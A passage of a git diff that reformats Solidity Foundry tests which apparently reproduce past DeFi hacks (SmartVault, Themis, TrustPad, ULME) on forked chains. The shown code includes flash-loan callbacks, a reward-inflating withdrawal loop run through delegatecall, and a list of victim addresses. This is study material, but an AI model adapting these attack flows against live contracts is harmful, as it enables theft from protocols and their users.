IPositionsNFT(0xC36442b4a4522E871399CD717aBDD847Ab11FE88); - IERC20 private constant WBTC = - IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f); - IERC20 private constant PAXG = - IERC20(0xfEb4DfC8C4Cf7Ed305bb08065D08eC6ee6728429); - IERC20 private constant EURO = - IERC20(0x643b34980E635719C15a2D4ce69571a258F940E9); - IWETH private constant WETH = - IWETH(payable(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1)); - IUSDC private constant USDC = - IUSDC(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8); - Uni_Pair_V3 private constant WBTC_WETH = - Uni_Pair_V3(0x2f5e87C9312fa29aed5c179E456625D79015299c); + IPositionsNFT private constant PositionsNFT = IPositionsNFT(0xC36442b4a4522E871399CD717aBDD847Ab11FE88); + IERC20 private constant WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f); + IERC20 private constant PAXG = IERC20(0xfEb4DfC8C4Cf7Ed305bb08065D08eC6ee6728429); + IERC20 private constant EURO = IERC20(0x643b34980E635719C15a2D4ce69571a258F940E9); + IWETH private constant WETH = IWETH(payable(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1)); + IUSDC private constant USDC = IUSDC(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8); + Uni_Pair_V3 private constant WBTC_WETH = Uni_Pair_V3(0x2f5e87C9312fa29aed5c179E456625D79015299c); ISmartVaultManagerV2 private constant SmartVaultManagerV2 = ISmartVaultManagerV2(0xba169cceCCF7aC51dA223e04654Cf16ef41A68CC); - ICamelotRouter private constant RouterV3 = - ICamelotRouter(0x1F721E2E82F6676FCE4eA07A5958cF098D339e18); - Uni_Router_V3 private constant Router = - Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564); + ICamelotRouter private constant RouterV3 = ICamelotRouter(0x1F721E2E82F6676FCE4eA07A5958cF098D339e18); + Uni_Router_V3 private constant Router = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564); ISmartVaultV2 private SmartVaultV2; function setUp() public { - vm.createSelectFork("arbitrum", 147817765); + vm.createSelectFork("arbitrum", 147_817_765); vm.label(address(PositionsNFT), "PositionsNFT"); vm.label(address(WBTC), "WBTC"); vm.label(address(PAXG), "PAXG"); @@ -134,46 +118,23 @@ contract ContractTest is Test { // Attacker sent PAXG amount to exploit contract before attack deal(address(PAXG), address(this), 100e9); - emit log_named_decimal_uint( - "Attacker USDC balance before exploit", - USDC.balanceOf(address(this)), - 6 - ); + emit log_named_decimal_uint("Attacker USDC balance before exploit", USDC.balanceOf(address(this)), 6); - emit log_named_decimal_uint( - "Attacker EURO balance before exploit", - EURO.balanceOf(address(this)), - 18 - ); + emit log_named_decimal_uint("Attacker EURO balance before exploit", EURO.balanceOf(address(this)), 18); address pool = PositionsNFT.createAndInitializePoolIfNecessary( - address(WBTC), - address(PAXG), - 3000, - uint160(address(0x186a0000000000000000000000000)) + address(WBTC), address(PAXG), 3000, uint160(address(0x186a0000000000000000000000000)) ); WBTC_WETH.flash(address(this), 1_000_000_010, 0, bytes("")); - emit log_named_decimal_uint( - "Attacker USDC balance after exploit", - USDC.balanceOf(address(this)), - 6 - ); + emit log_named_decimal_uint("Attacker USDC balance after exploit", USDC.balanceOf(address(this)), 6); - emit log_named_decimal_uint( - "Attacker EURO balance after exploit", - EURO.balanceOf(address(this)), - 18 - ); + emit log_named_decimal_uint("Attacker EURO balance after exploit", EURO.balanceOf(address(this)), 18); } - function uniswapV3FlashCallback( - uint256 fee0, - uint256 fee1, - bytes calldata data - ) external { - (address smartVault, ) = SmartVaultManagerV2.mint(); + function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external { + (address smartVault,) = SmartVaultManagerV2.mint(); SmartVaultV2 = ISmartVaultV2(smartVault); WBTC.transfer(smartVault, WBTC.balanceOf(address(this)) - 10); @@ -204,80 +165,70 @@ contract ContractTest is Test { return this.onERC721Received.selector; } - function mintWBTC_PAXG() - internal - returns (uint256 tokenId, uint128 liquidity) - { - NonfungiblePositionManager.MintParams - memory params = NonfungiblePositionManager.MintParams({ - token0: address(WBTC), - token1: address(PAXG), - fee: 3000, - tickLower: -887_220, - tickUpper: 887_220, - amount0Desired: 10, - amount1Desired: 100e9, - amount0Min: 0, - amount1Min: 0, - recipient: address(this), - deadline: block.timestamp - }); - - (tokenId, liquidity, , ) = PositionsNFT.mint(params); + function mintWBTC_PAXG() internal returns (uint256 tokenId, uint128 liquidity) { + NonfungiblePositionManager.MintParams memory params = NonfungiblePositionManager.MintParams({ + token0: address(WBTC), + token1: address(PAXG), + fee: 3000, + tickLower: -887_220, + tickUpper: 887_220, + amount0Desired: 10, + amount1Desired: 100e9, + amount0Min: 0, + amount1Min: 0, + recipient: address(this), + deadline: block.timestamp + }); + + (tokenId, liquidity,,) = PositionsNFT.mint(params); } - function decreaseLiquidityInPool( - uint256 _tokenId, - uint128 _liqudity - ) internal { - NonfungiblePositionManager.DecreaseLiquidityParams - memory params = NonfungiblePositionManager.DecreaseLiquidityParams({ - tokenId: _tokenId, - liquidity: _liqudity, - amount0Min: 0, - amount1Min: 0, - deadline: block.timestamp - }); + function decreaseLiquidityInPool(uint256 _tokenId, uint128 _liqudity) internal { + NonfungiblePositionManager.DecreaseLiquidityParams memory params = NonfungiblePositionManager + .DecreaseLiquidityParams({ + tokenId: _tokenId, + liquidity: _liqudity, + amount0Min: 0, + amount1Min: 0, + deadline: block.timestamp + }); PositionsNFT.decreaseLiquidity(params); } function collectWBTC_PAXG(uint256 _tokenId) internal { - NonfungiblePositionManager.CollectParams - memory params = NonfungiblePositionManager.CollectParams({ - tokenId: _tokenId, - recipient: address(this), - amount0Max: type(uint128).max, - amount1Max: type(uint128).max - }); + NonfungiblePositionManager.CollectParams memory params = NonfungiblePositionManager.CollectParams({ + tokenId: _tokenId, + recipient: address(this), + amount0Max: type(uint128).max, + amount1Max: type(uint128).max + }); PositionsNFT.collect(params); } function EUROToUSDC() internal { - ISwapRouter.ExactInputSingleParams memory params = ISwapRouter - .ExactInputSingleParams({ - tokenIn: address(EURO), - tokenOut: address(USDC), - recipient: address(this), - deadline: block.timestamp, - amountIn: 10_000 * 1e18, - amountOutMinimum: 0, - limitSqrtPrice: 0 - }); + ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({ + tokenIn: address(EURO), + tokenOut: address(USDC), + recipient: address(this), + deadline: block.timestamp, + amountIn: 10_000 * 1e18, + amountOutMinimum: 0, + limitSqrtPrice: 0 + }); RouterV3.exactInputSingle(params); } function USDCToWBTC(uint24 _fee) internal { - Uni_Router_V3.ExactOutputSingleParams memory params = Uni_Router_V3 - .ExactOutputSingleParams({ - tokenIn: address(USDC), - tokenOut: address(WBTC), - fee: 500, - recipient: address(this), - deadline: block.timestamp, - amountOut: 1_000_000_010 + _fee - WBTC.balanceOf(address(this)), - amountInMaximum: type(uint256).max, - sqrtPriceLimitX96: 0 - }); + Uni_Router_V3.ExactOutputSingleParams memory params = Uni_Router_V3.ExactOutputSingleParams({ + tokenIn: address(USDC), + tokenOut: address(WBTC), + fee: 500, + recipient: address(this), + deadline: block.timestamp, + amountOut: 1_000_000_010 + _fee - WBTC.balanceOf(address(this)), + amountInMaximum: type(uint256).max, + sqrtPriceLimitX96: 0 + }); Router.exactOutputSingle(params); } diff --git a/src/test/Themis_exp.sol b/src/test/Themis_exp.sol index 1e174c74..6044a069 100644 --- a/src/test/Themis_exp.sol +++ b/src/test/Themis_exp.sol @@ -91,13 +91,13 @@ contract ThemisTest is Test { uniswapV3Swap(WBTC_WETH, true, WBTC.balanceOf(address(this)), 21_845_559_093_545_742_410_589_827_953_560_948); emit log_named_decimal_uint( "Attacker's amount of WETH after exploit", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); emit log_named_decimal_uint( "Attacker's amount of USDC after exploit", USDC.balanceOf(address(this)), USDC.decimals() - ); + ); emit log_named_decimal_uint( "Attacker's amount of USDT after exploit", USDT.balanceOf(address(this)), USDT.decimals() - ); + ); } function executeOperation( diff --git a/src/test/Thena_exp.sol b/src/test/Thena_exp.sol index 4da5c169..f1a07e39 100644 --- a/src/test/Thena_exp.sol +++ b/src/test/Thena_exp.sol @@ -76,7 +76,7 @@ contract ContractTest is Test { mock = new MockThenaRewardPool(); emit log_named_decimal_uint( "Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), BUSD.decimals() - ); + ); } } diff --git a/src/test/ThoreumFinance_exp.sol b/src/test/ThoreumFinance_exp.sol index e900451b..bcf319de 100644 --- a/src/test/ThoreumFinance_exp.sol +++ b/src/test/ThoreumFinance_exp.sol @@ -64,7 +64,7 @@ contract Exploit is Test { THOREUM.transfer(address(this), THOREUM.balanceOf(address(this))); emit log_named_decimal_uint( "[INFO] address(this) thoreum balance : ", THOREUM.balanceOf(address(this)), 18 - ); + ); } //step3: swap thoreum to wbnb diff --git a/src/test/TrustPad_exp.sol b/src/test/TrustPad_exp.sol index d2d6d104..af03b02c 100644 --- a/src/test/TrustPad_exp.sol +++ b/src/test/TrustPad_exp.sol @@ -23,9 +23,7 @@ interface ILaunchpadLockableStaking { function withdraw(uint256 amount) external; - function userInfo( - address - ) + function userInfo(address) external view returns ( @@ -44,20 +42,15 @@ interface ILaunchpadLockableStaking { contract ContractTest is Test { ILaunchpadLockableStaking private constant LaunchpadLockableStaking = ILaunchpadLockableStaking(0xE613c058701C768E0d04D1bf8e6a6dc1a0C6d48A); - IERC20 private constant TPAD = - IERC20(0xADCFC6bf853a0a8ad7f9Ff4244140D10cf01363C); - IERC20 private constant DDD = - IERC20(0x2e1FC745937a44ae8313bC889EE023ee303F2488); - IERC20 private constant WBNB = - IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); - Uni_Router_V2 private constant Router = - Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); - address private constant TrustPadProtocolExploiter = - 0x1a7b15354e2F6564fcf6960c79542DE251cE0dC9; + IERC20 private constant TPAD = IERC20(0xADCFC6bf853a0a8ad7f9Ff4244140D10cf01363C); + IERC20 private constant DDD = IERC20(0x2e1FC745937a44ae8313bC889EE023ee303F2488); + IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); + Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); + address private constant TrustPadProtocolExploiter = 0x1a7b15354e2F6564fcf6960c79542DE251cE0dC9; HelperContract helperContract; function setUp() public { - vm.createSelectFork("bsc", 33260104); + vm.createSelectFork("bsc", 33_260_104); vm.label(address(LaunchpadLockableStaking), "LaunchpadLockableStaking"); vm.label(address(TPAD), "TPAD"); vm.label(address(DDD), "DDD"); @@ -70,7 +63,7 @@ contract ContractTest is Test { // Getting TPAD amount WBNBToTPAD(); // Jump to time when attack was happened - vm.roll(33260391); + vm.roll(33_260_391); uint256 startBalanceTPAD = TPAD.balanceOf(address(this)); // Approve all DDD tokens from original exploiter to this attack contract @@ -84,28 +77,19 @@ contract ContractTest is Test { TPAD.decimals() ); - (bool success, ) = address(helperContract).delegatecall( - abi.encodeWithSignature( - "deposit(address,uint256,uint256)", - address(LaunchpadLockableStaking), - 30, - 1 - ) + (bool success,) = address(helperContract).delegatecall( + abi.encodeWithSignature("deposit(address,uint256,uint256)", address(LaunchpadLockableStaking), 30, 1) ); require(success, "Delegatecall to deposit not successfull"); assertEq(TPAD.balanceOf(address(this)), startBalanceTPAD - 1); // Jump to time when rewards were withdrew - vm.roll(33260396); + vm.roll(33_260_396); success = false; - (success, ) = address(helperContract).delegatecall( - abi.encodeWithSignature( - "withdraw(address,uint256)", - address(LaunchpadLockableStaking), - 0 - ) + (success,) = address(helperContract).delegatecall( + abi.encodeWithSignature("withdraw(address,uint256)", address(LaunchpadLockableStaking), 0) ); require(success, "Delegatecall to withdraw not successfull"); @@ -121,9 +105,9 @@ contract ContractTest is Test { path[0] = address(WBNB); path[1] = address(TPAD); uint256[] memory amounts = Router.getAmountsOut(20e15, path); - Router.swapExactETHForTokensSupportingFeeOnTransferTokens{ - value: 0.02 ether - }((amounts[1] * 9) / 10, path, address(this), block.timestamp); + Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.02 ether}( + (amounts[1] * 9) / 10, path, address(this), block.timestamp + ); } function isLocked(address account) external pure returns (bool) { @@ -131,40 +115,30 @@ contract ContractTest is Test { } function depositLockStart(address addr) external returns (uint256) { - (bool success, ) = address(helperContract).delegatecall( - abi.encodeWithSignature("depositLockStart(address)", addr) - ); + (bool success,) = + address(helperContract).delegatecall(abi.encodeWithSignature("depositLockStart(address)", addr)); require(success, "Delegatecall to depositLockStart failed"); } } contract HelperContract is Test { - IERC20 private constant DDD = - IERC20(0x2e1FC745937a44ae8313bC889EE023ee303F2488); - IERC20 private constant TPAD = - IERC20(0xADCFC6bf853a0a8ad7f9Ff4244140D10cf01363C); - address private constant TrustPadProtocolExploiter = - 0x1a7b15354e2F6564fcf6960c79542DE251cE0dC9; + IERC20 private constant DDD = IERC20(0x2e1FC745937a44ae8313bC889EE023ee303F2488); + IERC20 private constant TPAD = IERC20(0xADCFC6bf853a0a8ad7f9Ff4244140D10cf01363C); + address private constant TrustPadProtocolExploiter = 0x1a7b15354e2F6564fcf6960c79542DE251cE0dC9; ILaunchpadLockableStaking private LaunchpadLockableStaking; uint256 private _depositLockStart; function deposit(address _for, uint256 _pid, uint256 _amount) external { LaunchpadLockableStaking = ILaunchpadLockableStaking(_for); DDD.transferFrom(TrustPadProtocolExploiter, address(this), 1); - require( - _depositLockStart == uint256(0), - "Deposit lock should be false at begining" - ); + require(_depositLockStart == uint256(0), "Deposit lock should be false at begining"); TPAD.approve(address(LaunchpadLockableStaking), type(uint256).max); uint256 withdrawAmount = TPAD.balanceOf(address(this)); // Exploit start uint8 i; while (i < _pid) { - LaunchpadLockableStaking.receiveUpPool( - address(this), - withdrawAmount - ); + LaunchpadLockableStaking.receiveUpPool(address(this), withdrawAmount); LaunchpadLockableStaking.withdraw(withdrawAmount); ++i; } @@ -195,9 +169,7 @@ contract HelperContract is Test { DDD.transferFrom(TrustPadProtocolExploiter, address(this), 1); uint256 amountToWithdraw; if (_amount == 0) { - (uint256 amount, , , , ) = LaunchpadLockableStaking.userInfo( - address(this) - ); + (uint256 amount,,,,) = LaunchpadLockableStaking.userInfo(address(this)); amountToWithdraw = amount; emit log_uint(amount); } else { diff --git a/src/test/UFDao_exp.sol b/src/test/UFDao_exp.sol index 6a5bfbe5..abca42be 100644 --- a/src/test/UFDao_exp.sol +++ b/src/test/UFDao_exp.sol @@ -61,7 +61,7 @@ contract ContractTest is DSTest { emit log_named_decimal_uint( "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals() - ); + ); } receive() external payable {} diff --git a/src/test/ULME_exp.sol b/src/test/ULME_exp.sol index 850b6767..d6182f0d 100644 --- a/src/test/ULME_exp.sol +++ b/src/test/ULME_exp.sol @@ -29,8 +29,8 @@ address constant dodo2 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A; contract Attacker is DSTest { IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955); - uint dodo1Balance; - uint dodo2Balance; + uint256 dodo1Balance; + uint256 dodo2Balance; function setUp() public { cheat.label(address(ULME_BUSD_LPPool), "ULME_BUSD_LPPool"); @@ -38,121 +38,120 @@ contract Attacker is DSTest { cheat.label(address(USDT), "USDT"); cheat.label(address(ULME), "ULME"); - cheat.createSelectFork("bsc", 22476695); + cheat.createSelectFork("bsc", 22_476_695); console.log("-------------------------------- Start Attacker ----------------------------------"); } - function testExploit() external{ - - USDT.approve(address(pancakeRouter), type(uint).max); - ULME.approve(address(pancakeRouter), type(uint).max); + function testExploit() external { + USDT.approve(address(pancakeRouter), type(uint256).max); + ULME.approve(address(pancakeRouter), type(uint256).max); emit log_named_decimal_uint("[Start] Attacker USDT Balance", USDT.balanceOf(address(this)), 18); emit log_named_decimal_uint("[Start] Attacker ULME Balance", ULME.balanceOf(address(this)), 18); // addresses attacked by the hacker - address [] memory victims = new address[](101); - victims[0]= 0x4A005e5E40Ce2B827C873cA37af77e6873e37203; - victims[1]= 0x5eCe8A3382FD5317EBa6670cAe2F70ccA8845859; - victims[2]= 0x065D5Bfb0bdeAdA1637974F76AcF54428D61c45d; - victims[3]= 0x0C678244aaEd33b6c963C2D6B14950d35EAB899F; - victims[4]= 0x1F0D9584bC8729Ec139ED5Befe0c8677994FcB35; - victims[5]= 0x6b8cdC12e9E2F5b3620FfB12c04C5e7b0990aaf2; - victims[6]= 0xA9882080e01F8FD11fa85F05f7c7733D1C9837DF; - victims[7]= 0x1dFBBECc9304f73caD14C3785f25C1d1924ACB0B; - victims[8]= 0x0b038F3e5454aa745Ff029706656Fed638d5F73a; - victims[9]= 0x0Bd084decfb04237E489cAD4c8A559FC5ce44f90; - victims[10]= 0x5EB2e4907f796C9879181041fF633F33f8858d93; - victims[11]= 0x0DE272Ef3273d49Eb608296A783dBd36488d3989; - victims[12]= 0xAe800360ac329ceA761AFDa2d3D55Bd12932Ab62; - victims[13]= 0xf7726cA96bF1Cee9c6dC568ad3A801E637d10076; - victims[14]= 0x847aA967534C31b47d46A2eEf5832313E36b25E2; - victims[15]= 0x6c91DA0Dc1e8ab02Ab1aB8871c5aE312ef04273b; - victims[16]= 0xb14018024600eE3c747Be98845c8536994D40A5D; - victims[17]= 0x8EcdD8859aA286c6bae1f570eb0105457fD24cd2; - victims[18]= 0x6ff1c499C13548ee5C9B1EA6d366A5E11EcA60ca; - victims[19]= 0xC02eb88068A40aEe6E4649bDc940e0f792e16C22; - victims[20]= 0xa2D5b4de4cb10043D190aae23D1eFC02E31F1Cb6; - victims[21]= 0x5E05B8aC4494476Dd539e0F4E1302806ec52ED6F; - victims[22]= 0xDeb6FDCa49e54c8b0704C5B3f941ED6319139816; - victims[23]= 0x0E6533B8d6937cC8b4c9be31c00acBfaCB6760a5; - victims[24]= 0xCE0Fd72a7cF07EB9B20562bbb142Cb711A42867f; - victims[25]= 0x4868725bf6D395148def99E6C43074C774e7AC1D; - victims[26]= 0x2F1f2BAF34703d16BcfD62cF64A7A5a44Ad6c9d4; - victims[27]= 0x3d49Bdf065f009621A02c5Fd88f72ed0A3910521; - victims[28]= 0x6E31C08f1938BE5DF98F8968747bB34802D76E50; - victims[29]= 0x4F741D8DCDEdd74DadeA6cd3A7e41ECb28076209; - victims[30]= 0x5480c14b9841C89527F0D1A55dDC0D273Aae3609; - victims[31]= 0xb3725dA113eFFd7F39BE62A5E349f26e82a949fF; - victims[32]= 0x9d83Dee089a5fBfB5F2F1268EDB80aeA8Ba5aF16; - victims[33]= 0x0c02F3d6962245E934A3fe415EAbA6bf570c1883; - victims[34]= 0x0182cfEFB268DD510ee77F32527578BEAC6238e2; - victims[35]= 0x78598Ac3943454682477852E846532F73d5cFE5F; - victims[36]= 0xd067c7585425e1e5AA98743BdA5fB65212751476; - victims[37]= 0x3507ddF8b74dAEd03fE76EE74B7d6544F3B254B7; - victims[38]= 0xEca4Fd6b05E5849aAf5F2bEE5Eb3B50f8C4f4E3c; - victims[39]= 0xAA279af072080f3e453A916b77862b4ff6eB245E; - victims[40]= 0x4e505a21325A6820E2099Bbd15f6832c6f696a3c; - victims[41]= 0xA5b63F7b40A5Cc5ee6B9dB7cef2415699627Ee89; - victims[42]= 0x3dd624cEd432DDc32fA0afDaE855b76aa1431644; - victims[43]= 0x17f217Fdeff7Ee4a81a4b2f42c695EDC20806957; - victims[44]= 0x41819F36878d15A776225928CD52DC56acCFD553; - victims[45]= 0x61ca76703C5aF052c9b0aCc2Bab0276875DDd328; - victims[46]= 0x2956bCc87450B424C7305C4c6CF771196c23A52E; - victims[47]= 0x03be05224803c89f3b8C806d887fD84A20D16e5C; - victims[48]= 0x3C97320bf030C2c120FdCe19023A571f3fbB6184; - victims[49]= 0xc52021150ca5c32253220bE328ddC05F86d3a619; - victims[50]= 0x6d7aAa35c4B2dBD6F1E979e04884AeE1B4FBB407; - victims[51]= 0x7c80162197607312EC99d7c9e34720B3572d6D16; - victims[52]= 0x15D92C909826017Ff0184eea3e38c36489517A7C; - victims[53]= 0xC07fa7a1F14A374d169Dc593261843B4A6d9C1C3; - victims[54]= 0x4b415F48FA70a9a0050F6380e843790260973808; - victims[55]= 0x9CeEeB927b85d4bD3b4e282c17EB186bCDC4Dd15; - victims[56]= 0x0eb76DAf60bdF637FC207BFb545B546D5Ee208B1; - victims[57]= 0x96D7F1660e708eDdF2b6f655ADB61686B59bC190; - victims[58]= 0xDCeB637E38dBae685222eEf6635095AaaEC65496; - victims[59]= 0x36083Aac533353317C24Bd53227DbF29Ed9F384c; - victims[60]= 0x94913f31fBaFcb0ae6e5EfA4C18E3ee301097eab; - victims[61]= 0x188c50F43f9fA0026BAaa7d8cF83c358311f0500; - victims[62]= 0x3d8dcC70777643612564D84176f769A1417987a5; - victims[63]= 0x00273CEEe956543c801429A886cD0E1a79f5d8cA; - victims[64]= 0xC43C5F785D06b582E3E710Dc0156267Fd135C602; - victims[65]= 0x0406aefd83f20700D31a49F3d6fdbF52e8F7D0Ef; - victims[66]= 0xBeD8C7433dE90D349f96C6AE82d4eb4482AA6Bf7; - victims[67]= 0xDe436F7742cE08f843f8d84e7998E0B7e4b73101; - victims[68]= 0xd38c6E26aa4888DE59C2EAaD6138B0b66ABBF21D; - victims[69]= 0xc0dFb3219F0C72E902544a080ba0086da53F9599; - victims[70]= 0xFAAD61bd6b509145c2988B03529fF21F3C9970B2; - victims[71]= 0x9f9BEEF87Cfe141868E21EacbDDB48DF6c54C2F2; - victims[72]= 0x6614e2e86b4646793714B1fa535fc5875bB446d5; - victims[73]= 0x7eFe3780b1b0cde8F300443fbb4C12a73904a948; - victims[74]= 0xAd813b95A27233E7Abd92C62bBa87f59Ca8F9339; - victims[75]= 0x13F33854cE08e07D20F5C0B16884267dde21a501; - victims[76]= 0x59ebcde7Ec542b5198095917987755727725fD1d; - victims[77]= 0xe5A5B86119BD9fd4DF5478AbE1d3D9F46BF3Ba5F; - victims[78]= 0xC2724ed2B629290787Eb4A91f00aAFE58F262025; - victims[79]= 0xDFa225eB03F9cc2514361A044EDDA777eA51b9ad; - victims[80]= 0x85d981E3CDdb402F9Ae96948900971102Ee5d6b5; - victims[81]= 0xb0Ac3A88bFc919cA189f7d4AbA8e2F191b37A65B; - victims[82]= 0x1A906A9A385132D6B1a62Bb8547fD20c38dd79Bb; - victims[83]= 0x9d36C7c400e033aeAc391b24F47339d7CB7bc033; - victims[84]= 0x5B19C1F57b227C67Bef1e77b1B6796eF22aEe21B; - victims[85]= 0xbfd0785a924c3547544C95913dAC0b119865DF9e; - victims[86]= 0xF003E6430fbC1194ffA3419629A389B7C113F083; - victims[87]= 0xfa30Cd705eE0908e2Dac4C19575F824DED99818E; - victims[88]= 0xe27027B827FE2FBcFCb56269d4463881AA6B8955; - victims[89]= 0xEddD7179E461F42149104DCb87F3b5b657a05399; - victims[90]= 0x980FcDB646c674FF9B6621902aCB8a4012974093; - victims[91]= 0x2eBc77934935980357A894577c2CC7107574f971; - victims[92]= 0x798435DE8fA75993bFC9aD84465d7F812507b604; - victims[93]= 0x1Be117F424e9e6f845F7b07C072c1d67F114f885; - victims[94]= 0x434e921bDFe74605BD2AAbC2f6389dDBA2d37ACA; - victims[95]= 0xaFacAc64426D1cE0512363338066cc8cABB3AEa2; - victims[96]= 0x2693e0A37Ea6e669aB43dF6ee68b453F6D6F3EBD; - victims[97]= 0x77Aee2AAc9881F4A4C347eb94dEd088aD49C574D; - victims[98]= 0x951f4785A2A61fe8934393e0ff6513D6946D8d97; - victims[99]= 0x2051cE514801167545E74b5DD2a8cF5034c6b17b; - victims[100]=0xC2EE820756d4074d887d762Fd8F70c4Fc47Ab47f; + address[] memory victims = new address[](101); + victims[0] = 0x4A005e5E40Ce2B827C873cA37af77e6873e37203; + victims[1] = 0x5eCe8A3382FD5317EBa6670cAe2F70ccA8845859; + victims[2] = 0x065D5Bfb0bdeAdA1637974F76AcF54428D61c45d; + victims[3] = 0x0C678244aaEd33b6c963C2D6B14950d35EAB899F; + victims[4] = 0x1F0D9584bC8729Ec139ED5Befe0c8677994FcB35; + victims[5] = 0x6b8cdC12e9E2F5b3620FfB12c04C5e7b0990aaf2; + victims[6] = 0xA9882080e01F8FD11fa85F05f7c7733D1C9837DF; + victims[7] = 0x1dFBBECc9304f73caD14C3785f25C1d1924ACB0B; + victims[8] = 0x0b038F3e5454aa745Ff029706656Fed638d5F73a; + victims[9] = 0x0Bd084decfb04237E489cAD4c8A559FC5ce44f90; + victims[10] = 0x5EB2e4907f796C9879181041fF633F33f8858d93; + victims[11] = 0x0DE272Ef3273d49Eb608296A783dBd36488d3989; + victims[12] = 0xAe800360ac329ceA761AFDa2d3D55Bd12932Ab62; + victims[13] = 0xf7726cA96bF1Cee9c6dC568ad3A801E637d10076; + victims[14] = 0x847aA967534C31b47d46A2eEf5832313E36b25E2; + victims[15] = 0x6c91DA0Dc1e8ab02Ab1aB8871c5aE312ef04273b; + victims[16] = 0xb14018024600eE3c747Be98845c8536994D40A5D; + victims[17] = 0x8EcdD8859aA286c6bae1f570eb0105457fD24cd2; + victims[18] = 0x6ff1c499C13548ee5C9B1EA6d366A5E11EcA60ca; + victims[19] = 0xC02eb88068A40aEe6E4649bDc940e0f792e16C22; + victims[20] = 0xa2D5b4de4cb10043D190aae23D1eFC02E31F1Cb6; + victims[21] = 0x5E05B8aC4494476Dd539e0F4E1302806ec52ED6F; + victims[22] = 0xDeb6FDCa49e54c8b0704C5B3f941ED6319139816; + victims[23] = 0x0E6533B8d6937cC8b4c9be31c00acBfaCB6760a5; + victims[24] = 0xCE0Fd72a7cF07EB9B20562bbb142Cb711A42867f; + victims[25] = 0x4868725bf6D395148def99E6C43074C774e7AC1D; + victims[26] = 0x2F1f2BAF34703d16BcfD62cF64A7A5a44Ad6c9d4; + victims[27] = 0x3d49Bdf065f009621A02c5Fd88f72ed0A3910521; + victims[28] = 0x6E31C08f1938BE5DF98F8968747bB34802D76E50; + victims[29] = 0x4F741D8DCDEdd74DadeA6cd3A7e41ECb28076209; + victims[30] = 0x5480c14b9841C89527F0D1A55dDC0D273Aae3609; + victims[31] = 0xb3725dA113eFFd7F39BE62A5E349f26e82a949fF; + victims[32] = 0x9d83Dee089a5fBfB5F2F1268EDB80aeA8Ba5aF16; + victims[33] = 0x0c02F3d6962245E934A3fe415EAbA6bf570c1883; + victims[34] = 0x0182cfEFB268DD510ee77F32527578BEAC6238e2; + victims[35] = 0x78598Ac3943454682477852E846532F73d5cFE5F; + victims[36] = 0xd067c7585425e1e5AA98743BdA5fB65212751476; + victims[37] = 0x3507ddF8b74dAEd03fE76EE74B7d6544F3B254B7; + victims[38] = 0xEca4Fd6b05E5849aAf5F2bEE5Eb3B50f8C4f4E3c; + victims[39] = 0xAA279af072080f3e453A916b77862b4ff6eB245E; + victims[40] = 0x4e505a21325A6820E2099Bbd15f6832c6f696a3c; + victims[41] = 0xA5b63F7b40A5Cc5ee6B9dB7cef2415699627Ee89; + victims[42] = 0x3dd624cEd432DDc32fA0afDaE855b76aa1431644; + victims[43] = 0x17f217Fdeff7Ee4a81a4b2f42c695EDC20806957; + victims[44] = 0x41819F36878d15A776225928CD52DC56acCFD553; + victims[45] = 0x61ca76703C5aF052c9b0aCc2Bab0276875DDd328; + victims[46] = 0x2956bCc87450B424C7305C4c6CF771196c23A52E; + victims[47] = 0x03be05224803c89f3b8C806d887fD84A20D16e5C; + victims[48] = 0x3C97320bf030C2c120FdCe19023A571f3fbB6184; + victims[49] = 0xc52021150ca5c32253220bE328ddC05F86d3a619; + victims[50] = 0x6d7aAa35c4B2dBD6F1E979e04884AeE1B4FBB407; + victims[51] = 0x7c80162197607312EC99d7c9e34720B3572d6D16; + victims[52] = 0x15D92C909826017Ff0184eea3e38c36489517A7C; + victims[53] = 0xC07fa7a1F14A374d169Dc593261843B4A6d9C1C3; + victims[54] = 0x4b415F48FA70a9a0050F6380e843790260973808; + victims[55] = 0x9CeEeB927b85d4bD3b4e282c17EB186bCDC4Dd15; + victims[56] = 0x0eb76DAf60bdF637FC207BFb545B546D5Ee208B1; + victims[57] = 0x96D7F1660e708eDdF2b6f655ADB61686B59bC190; + victims[58] = 0xDCeB637E38dBae685222eEf6635095AaaEC65496; + victims[59] = 0x36083Aac533353317C24Bd53227DbF29Ed9F384c; + victims[60] = 0x94913f31fBaFcb0ae6e5EfA4C18E3ee301097eab; + victims[61] = 0x188c50F43f9fA0026BAaa7d8cF83c358311f0500; + victims[62] = 0x3d8dcC70777643612564D84176f769A1417987a5; + victims[63] = 0x00273CEEe956543c801429A886cD0E1a79f5d8cA; + victims[64] = 0xC43C5F785D06b582E3E710Dc0156267Fd135C602; + victims[65] = 0x0406aefd83f20700D31a49F3d6fdbF52e8F7D0Ef; + victims[66] = 0xBeD8C7433dE90D349f96C6AE82d4eb4482AA6Bf7; + victims[67] = 0xDe436F7742cE08f843f8d84e7998E0B7e4b73101; + victims[68] = 0xd38c6E26aa4888DE59C2EAaD6138B0b66ABBF21D; + victims[69] = 0xc0dFb3219F0C72E902544a080ba0086da53F9599; + victims[70] = 0xFAAD61bd6b509145c2988B03529fF21F3C9970B2; + victims[71] = 0x9f9BEEF87Cfe141868E21EacbDDB48DF6c54C2F2; + victims[72] = 0x6614e2e86b4646793714B1fa535fc5875bB446d5; + victims[73] = 0x7eFe3780b1b0cde8F300443fbb4C12a73904a948; + victims[74] = 0xAd813b95A27233E7Abd92C62bBa87f59Ca8F9339; + victims[75] = 